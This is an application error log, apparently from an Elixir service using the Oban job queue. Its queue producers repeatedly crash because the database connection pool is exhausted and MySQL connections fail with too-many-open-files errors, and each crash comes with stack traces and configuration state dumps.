State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:31:00.238854Z], limit: 3, uuid: "31f38f85-91ea-4216-a473-83f21f3f1e23", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:31:00.238859Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.41718>, refresh_timer: #Reference<0.2525715032.1121189889.195780>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:31:12.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 898ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:31:00.241493Z], limit: 5, uuid: "c850eecd-4c39-4a67-b23c-9e2d4c2aa004", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:31:00.241499Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.41717>, refresh_timer: #Reference<0.2525715032.1077673987.41716>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:31:12.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1034ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:31:00.240963Z], limit: 20, uuid: "b3228ab5-f347-452c-aa7e-67839c3ad565", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:31:00.240969Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.62433>, refresh_timer: #Reference<0.2525715032.1068498948.63104>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:31:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 822ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:31:00.238677Z], limit: 50, uuid: "2ee0a0da-6262-45ef-acad-a8d0e805632e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:31:00.238683Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.62436>, refresh_timer: #Reference<0.2525715032.1121189889.195772>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:31:12.793000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:31:14.094000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:31:14.329000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:31:19.710000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:31:21.153000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:31:21.572000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:31:23.265000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:31:24.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1086ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:31:12.239364Z], limit: 5, uuid: "44420966-7974-4c4e-bc29-e2b69df8fd33", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:31:12.239370Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.62683>, refresh_timer: #Reference<0.2525715032.1068498948.63184>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:31:24.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 817ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:31:12.239843Z], limit: 3, uuid: "e87ae2f1-2ff2-4b8e-a9be-aed5b3c4a6d7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:31:12.239849Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.62684>, refresh_timer: #Reference<0.2525715032.1121189889.196153>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:31:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1049ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:31:12.241581Z], limit: 50, uuid: "66a6546e-0bb9-4cd6-9bc3-81d874a79c40", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:31:12.241589Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.62679>, refresh_timer: #Reference<0.2525715032.1099431938.62671>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:31:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 871ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:31:12.238138Z], limit: 10, uuid: "6a1c28d4-0085-46c8-b1f9-ab0a343c054d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:31:12.238145Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.62682>, refresh_timer: #Reference<0.2525715032.1068498948.63176>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:31:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 826ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:31:12.240437Z], limit: 5, uuid: "91e20f26-7adb-41b3-bbf9-e54851f78afc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:31:12.240443Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.62681>, refresh_timer: #Reference<0.2525715032.1077673987.41793>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:31:24.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 800ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
